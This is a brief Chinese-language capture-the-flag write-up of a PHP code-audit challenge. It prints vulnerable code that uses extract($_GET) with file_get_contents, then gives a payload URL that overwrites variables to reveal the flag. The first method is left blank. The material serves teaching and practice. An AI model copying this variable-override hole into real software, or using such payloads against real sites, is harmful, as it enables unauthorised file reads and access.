Day29
web8
txt????

本題要點: php代碼審計、php://input
打開地址,看到這樣的代碼
<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>
構造參數

方法二:
<?php
extract($_GET); //extract() 函數從數組中將變量導入到當前的符號表。
if (!empty($ac))
{
$f = trim(file_get_contents($fn)); //trim()去除字符串首尾處的空白字符(或者其他字符)
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>
代碼分析得到:
extract($_GET)
$f = trim(file_get_contents($fn))
$ac === $f
提示有txt文件,經嘗試發現:flag.txt 內容為:flags
構造payload:
http://
123.206.87.240:8002/web8/?ac=flags&fn=flag.txt